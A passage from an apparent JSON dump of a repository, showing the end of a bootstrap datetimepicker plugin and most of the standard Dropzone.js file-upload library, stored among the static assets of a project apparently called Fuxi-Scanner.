</th>' +\n                '<th colspan=\"5\" class=\"switch\"></th>' +\n                '<th class=\"next\"><span class=\"{iconType} {rightArrow}\"></span> </th>' +\n                '</tr>' +\n      '</thead>',\n    contTemplate: '<tbody><tr><td colspan=\"7\"></td></tr></tbody>',\n    footTemplate: '<tfoot>' + \n                    '<tr><th colspan=\"7\" class=\"today\"></th></tr>' +\n                    '<tr><th colspan=\"7\" class=\"clear\"></th></tr>' +\n                  '</tfoot>'\n  };\n  DPGlobal.template = '<div class=\"datetimepicker\">' +\n    '<div class=\"datetimepicker-minutes\">' +\n    '<table class=\" table-condensed\">' +\n    DPGlobal.headTemplate +\n    DPGlobal.contTemplate +\n    DPGlobal.footTemplate +\n    '</table>' +\n    '</div>' +\n    '<div class=\"datetimepicker-hours\">' +\n    '<table class=\" table-condensed\">' +\n    DPGlobal.headTemplate +\n    DPGlobal.contTemplate +\n    DPGlobal.footTemplate +\n    '</table>' +\n    '</div>' +\n    '<div class=\"datetimepicker-days\">' +\n    '<table class=\" table-condensed\">' +\n    DPGlobal.headTemplate +\n    '<tbody></tbody>' +\n    DPGlobal.footTemplate +\n    '</table>' +\n    '</div>' +\n    '<div class=\"datetimepicker-months\">' +\n    '<table class=\"table-condensed\">' +\n    DPGlobal.headTemplate +\n    DPGlobal.contTemplate +\n    DPGlobal.footTemplate +\n    '</table>' +\n    '</div>' +\n    '<div class=\"datetimepicker-years\">' +\n    '<table class=\"table-condensed\">' +\n    DPGlobal.headTemplate +\n    DPGlobal.contTemplate +\n    DPGlobal.footTemplate +\n    '</table>' +\n    '</div>' +\n    '</div>';\n  DPGlobal.templateV3 = '<div class=\"datetimepicker\">' +\n    '<div class=\"datetimepicker-minutes\">' +\n    '<table class=\" table-condensed\">' +\n    DPGlobal.headTemplateV3 +\n    DPGlobal.contTemplate +\n    DPGlobal.footTemplate +\n    '</table>' +\n    '</div>' +\n    '<div class=\"datetimepicker-hours\">' +\n    '<table class=\" table-condensed\">' +\n    DPGlobal.headTemplateV3 +\n    DPGlobal.contTemplate +\n    DPGlobal.footTemplate +\n    '</table>' +\n    '</div>' +\n    '<div class=\"datetimepicker-days\">' +\n    '<table class=\" table-condensed\">' +\n    DPGlobal.headTemplateV3 +\n    '<tbody></tbody>' +\n    DPGlobal.footTemplate +\n    '</table>' +\n    '</div>' +\n    '<div class=\"datetimepicker-months\">' +\n    '<table class=\"table-condensed\">' +\n    DPGlobal.headTemplateV3 +\n    DPGlobal.contTemplate +\n    DPGlobal.footTemplate +\n    '</table>' +\n    '</div>' +\n    '<div class=\"datetimepicker-years\">' +\n    '<table class=\"table-condensed\">' +\n    DPGlobal.headTemplateV3 +\n    DPGlobal.contTemplate +\n    DPGlobal.footTemplate +\n    '</table>' +\n    '</div>' +\n    '</div>';\n  $.fn.datetimepicker.DPGlobal = DPGlobal;\n\n  /* DATETIMEPICKER NO CONFLICT\n   * =================== */\n\n  $.fn.datetimepicker.noConflict = function () {\n    $.fn.datetimepicker = old;\n    return this;\n  };\n\n  /* DATETIMEPICKER DATA-API\n   * ================== */\n\n  $(document).on(\n    'focus.datetimepicker.data-api click.datetimepicker.data-api',\n    '[data-provide=\"datetimepicker\"]',\n    function (e) {\n      var $this = $(this);\n      if ($this.data('datetimepicker')) return;\n      e.preventDefault();\n      // component click requires us to explicitly show it\n      $this.datetimepicker('show');\n    }\n  );\n  $(function () {\n    $('[data-provide=\"datetimepicker-inline\"]').datetimepicker();\n  });\n\n}));\n"
  },
  {
    "path": "Weak_Password/Fuxi-Scanner/fuxi/static/js/plugins/dropzone.js",
    "content": "\"use strict\";\n\nvar _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if (\"value\" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();\n\nfunction _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError(\"this hasn't been initialised - super() hasn't been called\"); } return call && (typeof call === \"object\" || typeof call === \"function\") ? call : self; }\n\nfunction _inherits(subClass, superClass) { if (typeof superClass !== \"function\" && superClass !== null) { throw new TypeError(\"Super expression must either be null or a function, not \" + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }\n\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError(\"Cannot call a class as a function\"); } }\n\n/*\n *\n * More info at [www.dropzonejs.com](http://www.dropzonejs.com)\n *\n * Copyright (c) 2012, Matias Meno\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n *\n */\n\n// The Emitter class provides the ability to call `.on()` on Dropzone to listen\n// to events.\n// It is strongly based on component's emitter class, and I removed the\n// functionality because of the dependency hell with different frameworks.\nvar Emitter = function () {\n  function Emitter() {\n    _classCallCheck(this, Emitter);\n  }\n\n  _createClass(Emitter, [{\n    key: \"on\",\n\n    // Add an event listener for given event\n    value: function on(event, fn) {\n      this._callbacks = this._callbacks || {};\n      // Create namespace for this event\n      if (!this._callbacks[event]) {\n        this._callbacks[event] = [];\n      }\n      this._callbacks[event].push(fn);\n      return this;\n    }\n  }, {\n    key: \"emit\",\n    value: function emit(event) {\n      this._callbacks = this._callbacks || {};\n      var callbacks = this._callbacks[event];\n\n      if (callbacks) {\n        for (var _len = arguments.length, args = Array(_len > 1 ? _len - 1 : 0), _key = 1; _key < _len; _key++) {\n          args[_key - 1] = arguments[_key];\n        }\n\n        for (var _iterator = callbacks, _isArray = true, _i = 0, _iterator = _isArray ? _iterator : _iterator[Symbol.iterator]();;) {\n          var _ref;\n\n          if (_isArray) {\n            if (_i >= _iterator.length) break;\n            _ref = _iterator[_i++];\n          } else {\n            _i = _iterator.next();\n            if (_i.done) break;\n            _ref = _i.value;\n          }\n\n          var callback = _ref;\n\n          callback.apply(this, args);\n        }\n      }\n\n      return this;\n    }\n\n    // Remove event listener for given event. If fn is not provided, all event\n    // listeners for that event will be removed. If neither is provided, all\n    // event listeners will be removed.\n\n  }, {\n    key: \"off\",\n    value: function off(event, fn) {\n      if (!this._callbacks || arguments.length === 0) {\n        this._callbacks = {};\n        return this;\n      }\n\n      // specific event\n      var callbacks = this._callbacks[event];\n      if (!callbacks) {\n        return this;\n      }\n\n      // remove all handlers\n      if (arguments.length === 1) {\n        delete this._callbacks[event];\n        return this;\n      }\n\n      // remove specific handler\n      for (var i = 0; i < callbacks.length; i++) {\n        var callback = callbacks[i];\n        if (callback === fn) {\n          callbacks.splice(i, 1);\n          break;\n        }\n      }\n\n      return this;\n    }\n  }]);\n\n  return Emitter;\n}();\n\nvar Dropzone = function (_Emitter) {\n  _inherits(Dropzone, _Emitter);\n\n  _createClass(Dropzone, null, [{\n    key: \"initClass\",\n    value: function initClass() {\n\n      // Exposing the emitter class, mainly for tests\n      this.prototype.Emitter = Emitter;\n\n      /*\n       This is a list of all available events you can register on a dropzone object.\n        You can register an event handler like this:\n        dropzone.on(\"dragEnter\", function() { });\n        */\n      this.prototype.events = [\"drop\", \"dragstart\", \"dragend\", \"dragenter\", \"dragover\", \"dragleave\", \"addedfile\", \"addedfiles\", \"removedfile\", \"thumbnail\", \"error\", \"errormultiple\", \"processing\", \"processingmultiple\", \"uploadprogress\", \"totaluploadprogress\", \"sending\", \"sendingmultiple\", \"success\", \"successmultiple\", \"canceled\", \"canceledmultiple\", \"complete\", \"completemultiple\", \"reset\", \"maxfilesexceeded\", \"maxfilesreached\", \"queuecomplete\"];\n\n      this.prototype.defaultOptions = {\n        /**\n         * Has to be specified on elements other than form (or when the form\n         * doesn't have an `action` attribute). You can also\n         * provide a function that will be called with `files` and\n         * must return the url (since `v3.12.0`)\n         */\n        url: null,\n\n        /**\n         * Can be changed to `\"put\"` if necessary. You can also provide a function\n         * that will be called with `files` and must return the method (since `v3.12.0`).\n         */\n        method: \"post\",\n\n        /**\n         * Will be set on the XHRequest.\n         */\n        withCredentials: false,\n\n        /**\n         * The timeout for the XHR requests in milliseconds (since `v4.4.0`).\n         */\n        timeout: 30000,\n\n        /**\n         * How many file uploads to process in parallel (See the\n         * Enqueuing file uploads* documentation section for more info)\n         */\n        parallelUploads: 2,\n\n        /**\n         * Whether to send multiple files in one request. If\n         * this it set to true, then the fallback file input element will\n         * have the `multiple` attribute as well. This option will\n         * also trigger additional events (like `processingmultiple`). See the events\n         * documentation section for more information.\n         */\n        uploadMultiple: false,\n\n        /**\n         * Whether you want files to be uploaded in chunks to your server. This can't be\n         * used in combination with `uploadMultiple`.\n         *\n         * See [chunksUploaded](#config-chunksUploaded) for the callback to finalise an upload.\n         */\n        chunking: false,\n\n        /**\n         * If `chunking` is enabled, this defines whether **every** file should be chunked,\n         * even if the file size is below chunkSize. This means, that the additional chunk\n         * form data will be submitted and the `chunksUploaded` callback will be invoked.\n         */\n        forceChunking: false,\n\n        /**\n         * If `chunking` is `true`, then this defines the chunk size in bytes.\n         */\n        chunkSize: 2000000,\n\n        /**\n         * If `true`, the individual chunks of a file are being uploaded simultaneously.\n         */\n        parallelChunkUploads: false,\n\n        /**\n         * Whether a chunk should be retried if it fails.\n         */\n        retryChunks: false,\n\n        /**\n         * If `retryChunks` is true, how many times should it be retried.\n         */\n        retryChunksLimit: 3,\n\n        /**\n         * If not `null` defines how many files this Dropzone handles. If it exceeds,\n         * the event `maxfilesexceeded` will be called. The dropzone element gets the\n         * class `dz-max-files-reached` accordingly so you can provide visual feedback.\n         */\n        maxFilesize: 256,\n\n        /**\n         * The name of the file param that gets transferred.\n         * **NOTE**: If you have the option  `uploadMultiple` set to `true`, then\n         * Dropzone will append `[]` to the name.\n         */\n        paramName: \"file\",\n\n        /**\n         * Whether thumbnails for images should be generated\n         */\n        createImageThumbnails: true,\n\n        /**\n         * In MB. When the filename exceeds this limit, the thumbnail will not be generated.\n         */\n        maxThumbnailFilesize: 10,\n\n        /**\n         * If `null`, the ratio of the image will be used to calculate it.\n         */\n        thumbnailWidth: 120,\n\n        /**\n         * The same as `thumbnailWidth`. If both are null, images will not be resized.\n         */\n        thumbnailHeight: 120,\n\n        /**\n         * How the images should be scaled down in case both, `thumbnailWidth` and `thumbnailHeight` are provided.\n         * Can be either `contain` or `crop`.\n         */\n        thumbnailMethod: 'crop',\n\n        /**\n         * If set, images will be resized to these dimensions before being **uploaded**.\n         * If only one, `resizeWidth` **or** `resizeHeight` is provided, the original aspect\n         * ratio of the file will be preserved.\n         *\n         * The `options.transformFile` function uses these options, so if the `transformFile` function\n         * is overridden, these options don't do anything.\n         */\n        resizeWidth: null,\n\n        /**\n         * See `resizeWidth`.\n         */\n        resizeHeight: null,\n\n        /**\n         * The mime type of the resized image (before it gets uploaded to the server).\n         * If `null` the original mime type will be used. To force jpeg, for example, use `image/jpeg`.\n         * See `resizeWidth` for more information.\n         */\n        resizeMimeType: null,\n\n        /**\n         * The quality of the resized images. See `resizeWidth`.\n         */\n        resizeQuality: 0.8,\n\n        /**\n         * How the images should be scaled down in case both, `resizeWidth` and `resizeHeight` are provided.\n         * Can be either `contain` or `crop`.\n         */\n        resizeMethod: 'contain',\n\n        /**\n         * The base that is used to calculate the filesize. You can change this to\n         * 1024 if you would rather display kibibytes, mebibytes, etc...\n         * 1024 is technically incorrect, because `1024 bytes` are `1 kibibyte` not `1 kilobyte`.\n         * You can change this to `1024` if you don't care about validity.\n         */\n        filesizeBase: 1000,\n\n        /**\n         * Can be used to limit the maximum number of files that will be handled by this Dropzone\n         */\n        maxFiles: null,\n\n        /**\n         * An optional object to send additional headers to the server. Eg:\n         * `{ \"My-Awesome-Header\": \"header value\" }`\n         */\n        headers: null,\n\n        /**\n         * If `true`, the dropzone element itself will be clickable, if `false`\n         * nothing will be clickable.\n         *\n         * You can also pass an HTML element, a CSS selector (for multiple elements)\n         * or an array of those. In that case, all of those elements will trigger an\n         * upload when clicked.\n         */\n        clickable: true,\n\n        /**\n         * Whether hidden files in directories should be ignored.\n         */\n        ignoreHiddenFiles: true,\n\n        /**\n         * The default implementation of `accept` checks the file's mime type or\n         * extension against this list. This is a comma separated list of mime\n         * types or file extensions.\n         *\n         * Eg.: `image/*,application/pdf,.psd`\n         *\n         * If the Dropzone is `clickable` this option will also be used as\n         * [`accept`](https://developer.mozilla.org/en-US/docs/HTML/Element/input#attr-accept)\n         * parameter on the hidden file input as well.\n         */\n        acceptedFiles: null,\n\n        /**\n         * **Deprecated!**\n         * Use acceptedFiles instead.\n         */\n        acceptedMimeTypes: null,\n\n        /**\n         * If false, files will be added to the queue but the queue will not be\n         * processed automatically.\n         * This can be useful if you need some additional user input before sending\n         * files (or if you want want all files sent at once).\n         * If you're ready to send the file simply call `myDropzone.processQueue()`.\n         *\n         * See the [enqueuing file uploads](#enqueuing-file-uploads) documentation\n         * section for more information.\n         */\n        autoProcessQueue: true,\n\n        /**\n         * If false, files added to the dropzone will not be queued by default.\n         * You'll have to call `enqueueFile(file)` manually.\n         */\n        autoQueue: true,\n\n        /**\n         * If `true`, this will add a link to every file preview to remove or cancel (if\n         * already uploading) the file. The `dictCancelUpload`, `dictCancelUploadConfirmation`\n         * and `dictRemoveFile` options are used for the wording.\n         */\n        addRemoveLinks: false,\n\n        /**\n         * Defines where to display the file previews – if `null` the\n         * Dropzone element itself is used. Can be a plain `HTMLElement` or a CSS\n         * selector. The element should have the `dropzone-previews` class so\n         * the previews are displayed properly.\n         */\n        previewsContainer: null,\n\n        /**\n         * This is the element the hidden input field (which is used when clicking on the\n         * dropzone to trigger file selection) will be appended to. This might\n         * be important in case you use frameworks to switch the content of your page.\n         */\n        hiddenInputContainer: \"body\",\n\n        /**\n         * If null, no capture type will be specified\n         * If camera, mobile devices will skip the file selection and choose camera\n         * If microphone, mobile devices will skip the file selection and choose the microphone\n         * If camcorder, mobile devices will skip the file selection and choose the camera in video mode\n         * On apple devices multiple must be set to false.  AcceptedFiles may need to\n         * be set to an appropriate mime type (e.g. \"image/*\", \"audio/*\", or \"video/*\").\n         */\n        capture: null,\n\n        /**\n         * **Deprecated**. Use `renameFile` instead.\n         */\n        renameFilename: null,\n\n        /**\n         * A function that is invoked before the file is uploaded to the server and renames the file.\n         * This function gets the `File` as argument and can use the `file.name`. The actual name of the\n         * file that gets used during the upload can be accessed through `file.upload.filename`.\n         */\n        renameFile: null,\n\n        /**\n         * If `true` the fallback will be forced. This is very useful to test your server\n         * implementations first and make sure that everything works as\n         * expected without dropzone if you experience problems, and to test\n         * how your fallbacks will look.\n         */\n        forceFallback: false,\n\n        /**\n         * The text used before any files are dropped.\n         */\n        dictDefaultMessage: \"Drop files here to upload\",\n\n        /**\n         * The text that replaces the default message text it the browser is not supported.\n         */\n        dictFallbackMessage: \"Your browser does not support drag'n'drop file uploads.\",\n\n        /**\n         * The text that will be added before the fallback form.\n         * If you provide a  fallback element yourself, or if this option is `null` this will\n         * be ignored.\n         */\n        dictFallbackText: \"Please use the fallback form below to upload your files like in the olden days.\",\n\n        /**\n         * If the filesize is too big.\n         * `{{filesize}}` and `{{maxFilesize}}` will be replaced with the respective configuration values.\n         */\n        dictFileTooBig: \"File is too big ({{filesize}}MiB). Max filesize: {{maxFilesize}}MiB.\",\n\n        /**\n         * If the file doesn't match the file type.\n         */\n        dictInvalidFileType: \"You can't upload files of this type.\",\n\n        /**\n         * If the server response was invalid.\n         * `{{statusCode}}` will be replaced with the servers status code.\n         */\n        dictResponseError: \"Server responded with {{statusCode}} code.\",\n\n        /**\n         * If `addRemoveLinks` is true, the text to be used for the cancel upload link.\n         */\n        dictCancelUpload: \"Cancel upload\",\n\n        /**\n         * The text that is displayed if an upload was manually canceled\n         */\n        dictUploadCanceled: \"Upload canceled.\",\n\n        /**\n         * If `addRemoveLinks` is true, the text to be used for confirmation when cancelling upload.\n         */\n        dictCancelUploadConfirmation: \"Are you sure you want to cancel this upload?\",\n\n        /**\n         * If `addRemoveLinks` is true, the text to be used to remove a file.\n         */\n        dictRemoveFile: \"Remove file\",\n\n        /**\n         * If this is not null, then the user will be prompted before removing a file.\n         */\n        dictRemoveFileConfirmation: null,\n\n        /**\n         * Displayed if `maxFiles` is st and exceeded.\n         * The string `{{maxFiles}}` will be replaced by the configuration value.\n         */\n        dictMaxFilesExceeded: \"You can not upload any more files.\",\n\n        /**\n         * Allows you to translate the different units. Starting with `tb` for terabytes and going down to\n         * `b` for bytes.\n         */\n        dictFileSizeUnits: { tb: \"TB\", gb: \"GB\", mb: \"MB\", kb: \"KB\", b: \"b\" },\n        /**\n         * Called when dropzone initialized\n         * You can add event listeners here\n         */\n        init: function init() {},\n\n\n        /**\n         * Can be an **object** of additional parameters to transfer to the server, **or** a `Function`\n         * that gets invoked with the `files`, `xhr` and, if it's a chunked upload, `chunk` arguments. In case\n         * of a function, this needs to return a map.\n         *\n         * The default implementation does nothing for normal uploads, but adds relevant information for\n         * chunked uploads.\n         *\n         * This is the same as adding hidden input fields in the form element.\n         */\n        params: function params(files, xhr, chunk) {\n          if (chunk) {\n            return {\n              dzuuid: chunk.file.upload.uuid,\n              dzchunkindex: chunk.index,\n              dztotalfilesize: chunk.file.size,\n              dzchunksize: this.options.chunkSize,\n              dztotalchunkcount: chunk.file.upload.totalChunkCount,\n              dzchunkbyteoffset: chunk.index * this.options.chunkSize\n            };\n          }\n        },\n\n\n        /**\n         * A function that gets a [file](https://developer.mozilla.org/en-US/docs/DOM/File)\n         * and a `done` function as parameters.\n         *\n         * If the done function is invoked without arguments, the file is \"accepted\" and will\n         * be processed. If you pass an error message, the file is rejected, and the error\n         * message will be displayed.\n         * This function will not be called if the file is too big or doesn't match the mime types.\n         */\n        accept: function accept(file, done) {\n          return done();\n        },\n\n\n        /**\n         * The callback that will be invoked when all chunks have been uploaded for a file.\n         * It gets the file for which the chunks have been uploaded as the first parameter,\n         * and the `done` function as second. `done()` needs to be invoked when everything\n         * needed to finish the upload process is done.\n         */\n        chunksUploaded: function chunksUploaded(file, done) {\n          done();\n        },\n\n        /**\n         * Gets called when the browser is not supported.\n         * The default implementation shows the fallback input field and adds\n         * a text.\n         */\n        fallback: function fallback() {\n          // This code should pass in IE7... :(\n          var messageElement = void 0;\n          this.element.className = this.element.className + \" dz-browser-not-supported\";\n\n          for (var _iterator2 = this.element.getElementsByTagName(\"div\"), _isArray2 = true, _i2 = 0, _iterator2 = _isArray2 ? _iterator2 : _iterator2[Symbol.iterator]();;) {\n            var _ref2;\n\n            if (_isArray2) {\n              if (_i2 >= _iterator2.length) break;\n              _ref2 = _iterator2[_i2++];\n            } else {\n              _i2 = _iterator2.next();\n              if (_i2.done) break;\n              _ref2 = _i2.value;\n            }\n\n            var child = _ref2;\n\n            if (/(^| )dz-message($| )/.test(child.className)) {\n              messageElement = child;\n              child.className = \"dz-message\"; // Removes the 'dz-default' class\n              break;\n            }\n          }\n          if (!messageElement) {\n            messageElement = Dropzone.createElement(\"<div class=\\\"dz-message\\\"><span></span></div>\");\n            this.element.appendChild(messageElement);\n          }\n\n          var span = messageElement.getElementsByTagName(\"span\")[0];\n          if (span) {\n            if (span.textContent != null) {\n              span.textContent = this.options.dictFallbackMessage;\n            } else if (span.innerText != null) {\n              span.innerText = this.options.dictFallbackMessage;\n            }\n          }\n\n          return this.element.appendChild(this.getFallbackForm());\n        },\n\n\n        /**\n         * Gets called to calculate the thumbnail dimensions.\n         *\n         * It gets `file`, `width` and `height` (both may be `null`) as parameters and must return an object containing:\n         *\n         *  - `srcWidth` & `srcHeight` (required)\n         *  - `trgWidth` & `trgHeight` (required)\n         *  - `srcX` & `srcY` (optional, default `0`)\n         *  - `trgX` & `trgY` (optional, default `0`)\n         *\n         * Those values are going to be used by `ctx.drawImage()`.\n         */\n        resize: function resize(file, width, height, resizeMethod) {\n          var info = {\n            srcX: 0,\n            srcY: 0,\n            srcWidth: file.width,\n            srcHeight: file.height\n          };\n\n          var srcRatio = file.width / file.height;\n\n          // Automatically calculate dimensions if not specified\n          if (width == null && height == null) {\n            width = info.srcWidth;\n            height = info.srcHeight;\n          } else if (width == null) {\n            width = height * srcRatio;\n          } else if (height == null) {\n            height = width / srcRatio;\n          }\n\n          // Make sure images aren't upscaled\n          width = Math.min(width, info.srcWidth);\n          height = Math.min(height, info.srcHeight);\n\n          var trgRatio = width / height;\n\n          if (info.srcWidth > width || info.srcHeight > height) {\n            // Image is bigger and needs rescaling\n            if (resizeMethod === 'crop') {\n              if (srcRatio > trgRatio) {\n                info.srcHeight = file.height;\n                info.srcWidth = info.srcHeight * trgRatio;\n              } else {\n                info.srcWidth = file.width;\n                info.srcHeight = info.srcWidth / trgRatio;\n              }\n            } else if (resizeMethod === 'contain') {\n              // Method 'contain'\n              if (srcRatio > trgRatio) {\n                height = width / srcRatio;\n              } else {\n                width = height * srcRatio;\n              }\n            } else {\n              throw new Error(\"Unknown resizeMethod '\" + resizeMethod + \"'\");\n            }\n          }\n\n          info.srcX = (file.width - info.srcWidth) / 2;\n          info.srcY = (file.height - info.srcHeight) / 2;\n\n          info.trgWidth = width;\n          info.trgHeight = height;\n\n          return info;\n        },\n\n\n        /**\n         * Can be used to transform the file (for example, resize an image if necessary).\n         *\n         * The default implementation uses `resizeWidth` and `resizeHeight` (if provided) and resizes\n         * images according to those dimensions.\n         *\n         * Gets the `file` as the first parameter, and a `done()` function as the second, that needs\n         * to be invoked with the file when the transformation is done.\n         */\n        transformFile: function transformFile(file, done) {\n          if ((this.options.resizeWidth || this.options.resizeHeight) && file.type.match(/image.*/)) {\n            return this.resizeImage(file, this.options.resizeWidth, this.options.resizeHeight, this.options.resizeMethod, done);\n          } else {\n            return done(file);\n          }\n        },\n\n\n        /**\n         * A string that contains the template used for each dropped\n         * file. Change it to fulfill your needs but make sure to properly\n         * provide all elements.\n         *\n         * If you want to use an actual HTML element instead of providing a String\n         * as a config option, you could create a div with the id `tpl`,\n         * put the template inside it and provide the element like this:\n         *\n         *     document\n         *       .querySelector('#tpl')\n         *       .innerHTML\n         *\n         */\n        previewTemplate: \"<div class=\\\"dz-preview dz-file-preview\\\">\\n  <div class=\\\"dz-image\\\"><img data-dz-thumbnail /></div>\\n  <div class=\\\"dz-details\\\">\\n    <div class=\\\"dz-size\\\"><span data-dz-size></span></div>\\n    <div class=\\\"dz-filename\\\"><span data-dz-name></span></div>\\n  </div>\\n  <div class=\\\"dz-progress\\\"><span class=\\\"dz-upload\\\" data-dz-uploadprogress></span></div>\\n  <div class=\\\"dz-error-message\\\"><span data-dz-errormessage></span></div>\\n  <div class=\\\"dz-success-mark\\\">\\n    <svg width=\\\"54px\\\" height=\\\"54px\\\" viewBox=\\\"0 0 54 54\\\" version=\\\"1.1\\\" xmlns=\\\"http://www.w3.org/2000/svg\\\" xmlns:xlink=\\\"http://www.w3.org/1999/xlink\\\" xmlns:sketch=\\\"http://www.bohemiancoding.com/sketch/ns\\\">\\n      <title>Check</title>\\n      <defs></defs>\\n      <g id=\\\"Page-1\\\" stroke=\\\"none\\\" stroke-width=\\\"1\\\" fill=\\\"none\\\" fill-rule=\\\"evenodd\\\" sketch:type=\\\"MSPage\\\">\\n        <path d=\\\"M23.5,31.8431458 L17.5852419,25.9283877 C16.0248253,24.3679711 13.4910294,24.366835 11.9289322,25.9289322 C10.3700136,27.4878508 10.3665912,30.0234455 11.9283877,31.5852419 L20.4147581,40.0716123 C20.5133999,40.1702541 20.6159315,40.2626649 20.7218615,40.3488435 C22.2835669,41.8725651 24.794234,41.8626202 26.3461564,40.3106978 L43.3106978,23.3461564 C44.8771021,21.7797521 44.8758057,19.2483887 43.3137085,17.6862915 C41.7547899,16.1273729 39.2176035,16.1255422 37.6538436,17.6893022 L23.5,31.8431458 Z M27,53 C41.3594035,53 53,41.3594035 53,27 C53,12.6405965 41.3594035,1 27,1 C12.6405965,1 1,12.6405965 1,27 C1,41.3594035 12.6405965,53 27,53 Z\\\" id=\\\"Oval-2\\\" stroke-opacity=\\\"0.198794158\\\" stroke=\\\"#747474\\\" fill-opacity=\\\"0.816519475\\\" fill=\\\"#FFFFFF\\\" sketch:type=\\\"MSShapeGroup\\\"></path>\\n      </g>\\n    </svg>\\n  </div>\\n  <div class=\\\"dz-error-mark\\\">\\n    <svg width=\\\"54px\\\" height=\\\"54px\\\" viewBox=\\\"0 0 54 54\\\" version=\\\"1.1\\\" xmlns=\\\"http://www.w3.org/2000/svg\\\" xmlns:xlink=\\\"http://www.w3.org/1999/xlink\\\" xmlns:sketch=\\\"http://www.bohemiancoding.com/sketch/ns\\\">\\n      <title>Error</title>\\n      <defs></defs>\\n      <g id=\\\"Page-1\\\" stroke=\\\"none\\\" stroke-width=\\\"1\\\" fill=\\\"none\\\" fill-rule=\\\"evenodd\\\" sketch:type=\\\"MSPage\\\">\\n        <g id=\\\"Check-+-Oval-2\\\" sketch:type=\\\"MSLayerGroup\\\" stroke=\\\"#747474\\\" stroke-opacity=\\\"0.198794158\\\" fill=\\\"#FFFFFF\\\" fill-opacity=\\\"0.816519475\\\">\\n          <path d=\\\"M32.6568542,29 L38.3106978,23.3461564 C39.8771021,21.7797521 39.8758057,19.2483887 38.3137085,17.6862915 C36.7547899,16.1273729 34.2176035,16.1255422 32.6538436,17.6893022 L27,23.3431458 L21.3461564,17.6893022 C19.7823965,16.1255422 17.2452101,16.1273729 15.6862915,17.6862915 C14.1241943,19.2483887 14.1228979,21.7797521 15.6893022,23.3461564 L21.3431458,29 L15.6893022,34.6538436 C14.1228979,36.2202479 14.1241943,38.7516113 15.6862915,40.3137085 C17.2452101,41.8726271 19.7823965,41.8744578 21.3461564,40.3106978 L27,34.6568542 L32.6538436,40.3106978 C34.2176035,41.8744578 36.7547899,41.8726271 38.3137085,40.3137085 C39.8758057,38.7516113 39.8771021,36.2202479 38.3106978,34.6538436 L32.6568542,29 Z M27,53 C41.3594035,53 53,41.3594035 53,27 C53,12.6405965 41.3594035,1 27,1 C12.6405965,1 1,12.6405965 1,27 C1,41.3594035 12.6405965,53 27,53 Z\\\" id=\\\"Oval-2\\\" sketch:type=\\\"MSShapeGroup\\\"></path>\\n        </g>\\n      </g>\\n    </svg>\\n  </div>\\n</div>\",\n\n        // END OPTIONS\n        // (Required by the dropzone documentation parser)\n\n\n        /*\n         Those functions register themselves to the events on init and handle all\n         the user interface specific stuff. Overwriting them won't break the upload\n         but can break the way it's displayed.\n         You can overwrite them if you don't like the default behavior. If you just\n         want to add an additional event handler, register it on the dropzone object\n         and don't overwrite those options.\n         */\n\n        // Those are self explanatory and simply concern the DragnDrop.\n        drop: function drop(e) {\n          return this.element.classList.remove(\"dz-drag-hover\");\n        },\n        dragstart: function dragstart(e) {},\n        dragend: function dragend(e) {\n          return this.element.classList.remove(\"dz-drag-hover\");\n        },\n        dragenter: function dragenter(e) {\n          return this.element.classList.add(\"dz-drag-hover\");\n        },\n        dragover: function dragover(e) {\n          return this.element.classList.add(\"dz-drag-hover\");\n        },\n        dragleave: function dragleave(e) {\n          return this.element.classList.remove(\"dz-drag-hover\");\n        },\n        paste: function paste(e) {},\n\n\n        // Called whenever there are no files left in the dropzone anymore, and the\n        // dropzone should be displayed as if in the initial state.\n        reset: function reset() {\n          return this.element.classList.remove(\"dz-started\");\n        },\n\n\n        // Called when a file is added to the queue\n        // Receives `file`\n        addedfile: function addedfile(file) {\n          var _this2 = this;\n\n          if (this.element === this.previewsContainer) {\n            this.element.classList.add(\"dz-started\");\n          }\n\n          if (this.previewsContainer) {\n            file.previewElement = Dropzone.createElement(this.options.previewTemplate.trim());\n            file.previewTemplate = file.previewElement; // Backwards compatibility\n\n            this.previewsContainer.appendChild(file.previewElement);\n            for (var _iterator3 = file.previewElement.querySelectorAll(\"[data-dz-name]\"), _isArray3 = true, _i3 = 0, _iterator3 = _isArray3 ? _iterator3 : _iterator3[Symbol.iterator]();;) {\n              var _ref3;\n\n              if (_isArray3) {\n                if (_i3 >= _iterator3.length) break;\n                _ref3 = _iterator3[_i3++];\n              } else {\n                _i3 = _iterator3.next();\n                if (_i3.done) break;\n                _ref3 = _i3.value;\n              }\n\n              var node = _ref3;\n\n              node.textContent = file.name;\n            }\n            for (var _iterator4 = file.previewElement.querySelectorAll(\"[data-dz-size]\"), _isArray4 = true, _i4 = 0, _iterator4 = _isArray4 ? _iterator4 : _iterator4[Symbol.iterator]();;) {\n              if (_isArray4) {\n                if (_i4 >= _iterator4.length) break;\n                node = _iterator4[_i4++];\n              } else {\n                _i4 = _iterator4.next();\n                if (_i4.done) break;\n                node = _i4.value;\n              }\n\n              node.innerHTML = 